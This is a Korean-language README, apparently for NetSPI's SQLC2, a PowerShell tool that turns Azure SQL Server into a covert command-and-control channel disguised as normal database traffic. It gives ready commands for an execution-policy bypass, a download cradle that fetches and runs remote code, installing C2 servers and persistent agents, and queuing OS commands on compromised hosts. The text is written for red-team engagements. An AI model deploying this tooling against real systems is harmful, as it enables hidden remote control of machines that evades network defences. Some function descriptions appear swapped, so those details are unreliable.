
SQLC2는 SQL Server를 제어 서버와 에이전트로 모두 사용하는 커맨드 앤 컨트롤 시스템을 배포하고 관리하기 위한 PowerShell 스크립트입니다.
SQLC2는 SQL Server를 제어 서버와 에이전트로 동시에 사용하는 명령 및 제어 시스템을 배포하고 관리하기 위한 PowerShell 스크립트입니다. 핵심적으로 SQLC2는 단순한 PowerShell 스크립트, TSQL 스크립트, 그리고 에이전트·명령·결과를 추적하는 SQL Server 인스턴스 내 몇 개의 테이블로 구성됩니다. 특별히 화려한 것은 아니지만 일부 엔게이지먼트에서는 유용하게 쓰일 수 있습니다.
SQLC2에 대한 보다 자세한 개요는 https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/ 블로그에서 확인하세요.
점점 더 많은 기업에서 Azure SQL Server 데이터베이스를 사용하기 시작하고 있습니다. 이러한 Azure SQL Server 인스턴스가 생성되면 database.windows.net의 하위 도메인과 포트 1433을 통해 접근할 수 있게 됩니다. 예를 들어, "mysupersqlserver.database.windows.net"이라는 이름의 SQL Server 인스턴스를 만들 수 있습니다. 그 결과 일부 기업 네트워크 구성에서는 포트 1433의 모든 "database.windows.net" 하위 도메인에 대한 아웃바운드 인터넷 접근을 허용합니다.
일반적인 아이디어는 Azure SQL Server 도입이 늘어남에 따라 SQL Server를 평범한 트래픽처럼 보이는 제어 채널로 사용할 기회가 더 많아진다는 것입니다. SQLPS는 아주 기초적인 개념 증명에 불과하지만, 이 아이디어를 설명하기에는 충분히 기능적이라고 생각합니다. 개선할 점이 꽤 많다는 것을 알고 있지만, 직접 사용해 보신다면 피드백을 주시면 감사하겠습니다.
SQLC2를 Azure SQL Server 인스턴스와 함께 사용하는 데 중점을 두고 있지만, SQL Server를 모든 클라우드 환경에 직접 호스팅하고 SSL을 활성화한 상태로 포트 443에서 수신하도록 할 수도 있습니다. 따라서 얼마나 많은 노력을 기울이느냐에 따라 조금 더 유연하게 사용할 수 있습니다.
옵션 1: 스크립트를 다운로드하여 가져옵니다. 관리자 권한이 필요하지 않으며 현재 세션에만 가져와집니다. 그러나 제한적인 실행 정책에 의해 차단될 수 있으므로 bypass 옵션을 사용하는 것이 좋습니다.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
옵션 2: 다운로드 크래들을 통해 세션에 로드합니다. 관리자 권한이 필요하지 않으며 현재 세션에만 가져와집니다. 실행 정책에 의해 차단되지 않아야 합니다.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
참고: 다른 도메인 사용자로 실행하려면 먼저 runas 명령을 사용하여 PowerShell을 시작하세요.
runas /noprofile /netonly /user:domain\user PowerShell.exe

아래는 의도된 워크플로를 지원하는 사용자 함수 목록입니다.
아래는 몇 가지 예시 스크린샷입니다.
SQLC2 서버 설치(테이블 생성):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2 에이전트 설치(서버 링크를 사용하는 SQL Server 에이전트 작업):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2 에이전트 보기:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

에이전트에서 실행할 명령 설정:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

명령 결과 가져오기:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| 함수 이름 | 설명 |
|---|
| Install-SQLC2Server | 대상 SQL Server/데이터베이스에 SQLC2 테이블을 설치합니다. |
| Install-SQLC2AgentPs | SQL Server 에이전트 작업과 서버 링크를 사용하는 에이전트를 설치합니다. |
| Install-SQLC2AgentLink | 예약된 작업 또는 레지스트리 키를 사용하여 PowerShell 명령을 실행하는 에이전트를 설치합니다. |
| Set-SQLC2Command | 에이전트가 실행할 운영 체제 명령을 설정합니다. |
| Get-SQLC2Command | C2에서 에이전트가 실행할 보류 중인 운영 체제 명령 목록을 가져옵니다. -Execute 플래그를 사용하면 보류 중인 명령을 실행할 수도 있습니다. |
| Get-SQLC2Agent | SQLC2 서버에 등록된 에이전트 목록을 가져옵니다. |
| Get-SQLC2Result | 보류 중 및 완료된 명령 목록을 가져옵니다. servername, status, cid 필터를 지원합니다. |
| Remove-SQLC2Agent | SQLC2에 등록된 에이전트를 제거합니다. 단순히 기록을 지웁니다. |
| Remove-SQLC2Command | SQLC2 서버의 명령 기록을 제거합니다. |
| Uninstall-SQLC2AgentLink | 서버 링크와 에이전트 작업을 사용하는 SQLC2 에이전트를 제거합니다. |
| Uninstall-SQLC2AgentPs | 운영 체제 기반 영속성 방법을 모두 제거합니다. |
| Uninstall-SQLC2Server | 대상 데이터베이스에서 SQLC2 테이블을 제거합니다. |